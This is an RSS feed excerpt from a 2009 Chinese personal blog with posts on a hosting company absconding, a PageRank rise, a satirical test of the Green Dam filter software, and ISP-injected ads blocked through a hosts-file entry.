		<pubDate>Thu, 02 Jul 2009 15:30:42 +0000</pubDate>
		<dc:creator>soncy</dc:creator>
				<category><![CDATA[杂事]]></category>
		<category><![CDATA[原始人]]></category>
		<category><![CDATA[落伍]]></category>
		<category><![CDATA[铁通]]></category>

		<guid isPermaLink="false">http://www.eyike.com/?p=323</guid>
		<description><![CDATA[在今天之前，我所理解的原始人就是生活在百万年前的人，但是今天，原始人在IDC和个人站长界（有这么个界么？）引起了轰动，原因很简单，这个家伙跑路了。今天下午去看第八站的统计数据时，发现某个时间点后一个访客都没有，奇怪了，心中已经猜想是不是网站挂了，因为昨天网站的网通IP已经不能访问了，难道今天轮到电信[......]<p class='read-more'><a href='http://www.qifendi.com/html/y2009/dealt-a-heavy-blow-theprimitive.html'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>在今天之前，我所理解的原始人就是生活在百万年前的人，但是今天，原始人在IDC和个人站长界（有这么个界么？）引起了轰动，原因很简单，这个家伙跑路了。今天下午去看第八站的统计数据时，发现某个时间点后一个访客都没有，奇怪了，心中已经猜想是不是网站挂了，因为昨天网站的网通IP已经不能访问了，难道今天轮到电信了？一试果然不能访问，打开QQ找到空间商的客服，正准备质问，发现其签名赫然写着原始人捐款跑路，以（他的确是打的这个以）报警，然后跟了个chinaz的链接，复制到浏览器一看，哇靠，果然啊，一张大大的图片展示在我眼前，图片上是被封的机房，两张法院的封条看上去威风凛凛。哦，这下明白了，原来第八站所用的空间的空间商的服务器是托管到原始人的机房的，所以原始人一跑路，空间商也傻眼了。想到可能有N多人在质问这位可怜的空间商客服哥哥，我就没打扰他了，还好我数据和图片天天备份的。第八站的PV最近好不容易突破每天4000，正是发展时期，却遭遇如此打击。</p>
<p> </p>
<p>晚上到落伍一看，哇靠，整版全是讨论原始人的，看来受害者不少啊，据说这个原始人以前挺牛逼的。晚上的时候原始人的电信线路恢复访问，据说到明天早上，掀起了一股备份狂潮。突然想起来去年在盘今的空间还没到期，只是由于域名没备案被暂停了，立即联系盘今的客服重新开通了空间，今天晚上上传数据（500多MB），明天早上恢复。路过者可以访问 <a href="http://www.dibazhan.cn" target="_blank"><del datetime="2009-07-03T15:56:00+00:00">http://cnc.dibazhan.cn</del></a>试试速度，上海移动的机房。</p>
<p> </p>
<p>最后，不得不再次辱骂一下垃圾铁通，FTP上传速度只有20来KB，更重要的是，最近垃圾铁通访问不了包括cnbeta.com,soso.com等网站，截止该日志发出时，落伍也访问不了了，操。</p>
<p><strong> </strong></p>
<p><strong>更新：空间商换了机房继续提供服务，目前看来还比较厚道。</strong></p>
<p><strong><span style="color: #993300;">07-04更新：由于更换IP，造成全站被百度拔毛，仅存一页，昨天突破5000的PV，再度跌至谷底。</span></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.qifendi.com/html/y2009/dealt-a-heavy-blow-theprimitive.html/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>google pr成功上涨</title>
		<link>http://www.qifendi.com/html/y2009/increase-the-success-of-google-pr.html</link>
		<comments>http://www.qifendi.com/html/y2009/increase-the-success-of-google-pr.html#comments</comments>
		<pubDate>Thu, 25 Jun 2009 01:40:27 +0000</pubDate>
		<dc:creator>soncy</dc:creator>
				<category><![CDATA[杂事]]></category>

		<guid isPermaLink="false">http://www.eyike.com/?p=320</guid>
		<description><![CDATA[昨天上午查了下第八站的搜索引擎收录结果，发现第八站的PR升为2了，这是我没有预料到的，上次PR更新时5月28号，还以为要等3个月后才能更新呢，同时本博客的PR也上涨至2，其实这个域名的PR最高值的时候到过4的，哈哈。
PR其实我感觉不到什么实际的好处，至少对我的流量每周末产生影响，唯一感觉好的就是交换友情链接的时候底气更硬一些了，以前发个交换链接的帖子根本没人甩，有了PR后发个帖子，一会就有人找上门了。
倒是昨天百度的更新，给第八站带来了不少的流量，现在百度"街拍丝袜"，第八站已经能排到第一页，google降了第八站首页的权重，难道是我标题换得太勤了？[......]<p class='read-more'><a href='http://www.qifendi.com/html/y2009/increase-the-success-of-google-pr.html'></a></p>]]></description>
			<content:encoded><![CDATA[<p>昨天上午查了下第八站的搜索引擎收录结果，发现第八站的PR升为2了，这是我没有预料到的，上次PR更新时5月28号，还以为要等3个月后才能更新呢，同时本博客的PR也上涨至2，其实这个域名的PR最高值的时候到过4的，哈哈。<br />
PR其实我感觉不到什么实际的好处，至少对我的流量每周末产生影响，唯一感觉好的就是交换友情链接的时候底气更硬一些了，以前发个交换链接的帖子根本没人甩，有了PR后发个帖子，一会就有人找上门了。<br />
倒是昨天百度的更新，给第八站带来了不少的流量，现在百度&#8221;街拍丝袜&#8221;，第八站已经能排到第一页，google降了第八站首页的权重，难道是我标题换得太勤了？</p>
]]></content:encoded>
			<wfw:commentRss>http://www.qifendi.com/html/y2009/increase-the-success-of-google-pr.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>该页面完美兼容绿坝-花季护航</title>
		<link>http://www.qifendi.com/html/y2009/perfectly-compatible-with-the-page-green-dam-young-escort.html</link>
		<comments>http://www.qifendi.com/html/y2009/perfectly-compatible-with-the-page-green-dam-young-escort.html#comments</comments>
		<pubDate>Wed, 10 Jun 2009 13:01:24 +0000</pubDate>
		<dc:creator>soncy</dc:creator>
				<category><![CDATA[杂事]]></category>
		<category><![CDATA[绿坝]]></category>
		<category><![CDATA[花季护航]]></category>
		<category><![CDATA[过滤]]></category>

		<guid isPermaLink="false">http://www.eyike.com/?p=308</guid>
		<description><![CDATA[         工信部花4000万买了一套软件，不晓得这4000万中有没有我交的税，如果有的话，那我就真为我交的这税不值了，先撇开这些吧，仅从功能上来说说这款软件，满怀激情的下完安装，没想到这款软件兼容性挺好的，能在我的window7下完美安装，当然，安装到哪我就不得而知了，因为没让我选安装路径。[......]<p class='read-more'><a href='http://www.qifendi.com/html/y2009/perfectly-compatible-with-the-page-green-dam-young-escort.html'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>         工信部花4000万买了一套软件，不晓得这4000万中有没有我交的税，如果有的话，那我就真为我交的这税不值了，先撇开这些吧，仅从功能上来说说这款软件，满怀激情的下完安装，没想到这款软件兼容性挺好的，能在我的window7下完美安装，当然，安装到哪我就不得而知了，因为没让我选安装路径。安装完毕，赶紧启动看看吧，画面跟媒体报道的一样，很花季，很阳光，立即开始图像识别过滤功能，据说这是这款软件最牛B的功能，开启后迅速打开我的<a href="http://www.dibazhan.cn" target="_blank">第八站</a>试试，为什么选用第八站呢，因为第八站有漂亮MM嘛，但是这些漂亮MM都穿得规规矩矩的，跟我们在大街上看到的漂亮MM一样，刚打开页面，发现图片显示异常缓慢，看来是花季护航正在检测这些图片，果然，不一会立马弹出一个警告画面，提示该页面含有不良信息，IE自动关掉了，而且再也打不开这个网站了。奇怪了，网站的图片都是中规中矩，最多时尚前卫了点，还不至于到能教坏小孩子的地步吧，网页打不开了，换个网站吧，这次选择了17173，为什么选17173呢，17173上美女图片也不少啊，还有很多露乳沟的自拍和他拍哦，来到17173一个全是乳沟的页面，又奇怪了，花季护航居然一点反应都没有，看来花季护航是在专心看乳沟，忘了关浏览器了。借来下找了新浪，网易等网站的女性频道，在这些充满文字和图片挑逗的页面里，花季护航视乎深深沉浸其中，完全没有护航能力了。恩，可能是这些大网站天生就在他的白名单里嘛，不然我们开发这款软件的伟大程序员在测试期间如何去找乳沟看呢。为了进一步测试它的护航能力，我又打开了我们网站的<a href="http://i.qunar.com" target="_blank">博客频道</a>，没想到也被关闭了，我们的博客频道只是一个关于旅游的博客平台而已，首页的图片都是些花花草草而已，护航使者也太敬业了吧，这也算不良信息？测完了图片过滤功能，想看下它的文字过滤功能怎么样，想到了充满敏感词汇的天涯，恩，打开天涯的首页，没有被滤掉，首页上就一个登陆框，滤掉人家不好吧，然后点击“浏览进入”，刚进页面，啪，浏览器关掉了，看来天涯果然是个不良网站啊，恩，花季护航很好很强大。</p>
<p> </p>
<p>         测完过滤功能，就来看看花季护航的日志吧，日志分为图像的和文字的，先看看图像的，不看不知道，一看吓一跳，该软件每隔几分钟就会截一次屏，我的活动被一清二楚的完全保留了下来，不过截屏似乎有BUG哦，只截到了我的主显示器，另一个显示器逃脱了截屏的魔爪。想想要是该软件把这些截图传回服务器端的话，在服务器端看这些图的人会不会狂笑呢：“看那丫QQ上MM没有我的一般多”。再来看看文字日志，文字日志很详尽，访问了什么网站，该网站是否是正常网站一一在列，还可以看到哪些是不良网站，是因为哪张图进入了不良网站的黑名单，恩，第八站因为一个穿着浅色衣服的MM被判断为了不良图片；Qunar博客因为一张带笑脸的美洲小孩进入了黑名单；天涯也是因为一张图片进入了黑名单，具体的没看是哪张了，看来天涯被过滤不是因为文字。值得一提的是，花季护航完美兼容XP,vista,window7和ie,theworld,firefox,chrome。</p>
<p> </p>
<p>         测试完了，日志看完了，想想怎么卸载这款软件吧（不用管理密码卸载），控制面板的程序管理里没有相应的卸载程序，又不知道该软件安装在哪个目录，看了下桌面上的快捷方式，发现客户端是装在system32下面的，先干掉它吧，用360粉碎了它，没用，又查看进程，发现了大概三个进程跟花季护航有关，结束之，一个结束不了，两个结束后立马又生成了，看来通过结束进程的方式是没用了，那么试试关闭服务的方式吧，关闭不了，囧了，通过查看服务，得知该服务是c盘windows目录下的一个dll文件提供的，来到这个目录，找到这个文件，包括这个文件的邻居，三个以mp开头的文件，360粉碎之，成功，过滤功能失效了，过滤是失效了，可是它安装时产生的其他文件还在我系统里，虽说已经没有用了，但是总感觉不舒服，就像感觉屁股上始终有屎似的。现在客户端的那个exe已经被我粉碎了，无法通过程序卸载了，想象重新安装一次花季护航吧，安装完后，发现提示该软件的服务无法启动，点击管理，提示客户端有问题，重新安装，晕，我不刚重新安装么，看来粉碎了了那几个文件后该软件不管怎么重装都再也没用了。幸好上午有个系统更新，自动建立了个还原点，毫不犹豫的还原了系统。<br />
看来以后我们做网站的人做网页时有必要再网页上添加一句：该网页已兼容花季护航，请放心浏览。</p>
<p> </p>
<p>*上面提到的粉碎文件的方法仅作为BUG测试之用，希望官方尽快修复这个BUG。该文章不涉及绿坝-花季护航的破解。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.qifendi.com/html/y2009/perfectly-compatible-with-the-page-green-dam-young-escort.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>流氓铁通赠送性感文胸广告</title>
		<link>http://www.qifendi.com/html/y2009/liu-mang-tie-tong.html</link>
		<comments>http://www.qifendi.com/html/y2009/liu-mang-tie-tong.html#comments</comments>
		<pubDate>Fri, 29 May 2009 14:01:19 +0000</pubDate>
		<dc:creator>soncy</dc:creator>
				<category><![CDATA[杂事]]></category>
		<category><![CDATA[DNS劫持]]></category>
		<category><![CDATA[铁通]]></category>
		<category><![CDATA[铁通广告]]></category>

		<guid isPermaLink="false">http://www.eyike.com/?p=212</guid>
		<description><![CDATA[最近几天打开博客的时候偶尔会看到一个漂浮文胸广告，让我很纳闷，我没有投放过相关广告啊，而且刷新页面就没了，不免让人起疑啊，开始怀疑是中标了或者网站被挂马了，但是查看了一下源代码没有什么异常，开始怀疑是空间商或者浏览器植入了广告，可是现在我博客所在的服务器空间商是我用过近4年的一个老牌空间商，服务质量[......]<p class='read-more'><a href='http://www.qifendi.com/html/y2009/liu-mang-tie-tong.html'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>最近几天打开博客的时候偶尔会看到一个漂浮文胸广告，让我很纳闷，我没有投放过相关广告啊，而且刷新页面就没了，不免让人起疑啊，开始怀疑是中标了或者网站被挂马了，但是查看了一下源代码没有什么异常，开始怀疑是空间商或者浏览器植入了广告，可是现在我博客所在的服务器空间商是我用过近4年的一个老牌空间商，服务质量一直很满意，应该不会是他们的；而浏览器是the world，也是一个知名的浏览器品牌，口碑不错，应该也是不会干这种事情的。因为这个广告出现的几率太低，几次想用httpwatch抓都没抓住，终于，机会来了&#8230;<br />
<br />这次打开IE和httpwatch，刷新了两次，终于出来了这个该死的广告，用httpwatch看了下，广告的地址是
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">http://ctt.ad2you.com/ad/zghd-lm-pt.swf</li></ol></div>
<p>广告的请求url是
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">http://ctt1.ad2you.com/ipush.php?src=gg&amp;amp;t=Soncy%20NotePad</li></ol></div>
<p>还很智能嘛，把我博客的标题当成参数传回去了，是不是打算给我分广告费啊，看图&#8230;</p>
<p><div id="attachment_213" class="wp-caption aligncenter" style="width: 562px"><img class="size-full wp-image-213 " title="tietongad" src="http://www.eyike.com/wp-content/uploads/2009/05/tietongad.gif" alt="铁通送给我的性感的文胸广告" width="552" height="338" /><p class="wp-caption-text">铁通送给我的性感的文胸广告</p></div><br />
<br />
分别google和百度了一下这个广告网址，发现这样一篇文章<a href="http://www.dazhuer.cn/post/chinatietong_ads_68cn.html" target="_blank">垃圾铁通的流氓广告去除方法</a>，恩，看来是运营商搞的鬼了，ping了下ad2you.com的IP是221.174.16.5，IP查询结果是：山东省泰安市 铁通。<br />
<br />
中国铁通，叫我怎么说你呢，好歹你现在也在中国移动名下，也是也是有身份，有地位的主了，怎么还干这种偷鸡摸狗的事呢，岂不是有损你主子移动的面子么，中移动也是，都世界500强了，还用这么阴的方式投放广告，真的差我点广告的那点钱么？你说你要是在我访问的时候出现404啊等错误的时候给个广告，我还能接受，我他妈访问得好好的，你突然蹦出个广告，这不是流氓是什么呢？要不是这个小区只能装铁通，打死都不会装铁通了，刚装上的那个月，DNS老出问题，平均几分钟DNS服务器就挂掉，导致无法打开网页，等到期了还是换电信3G吧，你总不会屏蔽了电信的3G信号吧，真那样的话就修成正果了。<br />
<br />
最后，还是把http://*.ad2you.com放到受限站点里去吧。再来个host，
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">127.0.0.1 ctt1.ad2you.com ctt.ad2you.com</li></ol></div>
<p>要是他以后换成一个随机域名怎么办？</p>
]]></content:encoded>
			<wfw:commentRss>http://www.qifendi.com/html/y2009/liu-mang-tie-tong.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>

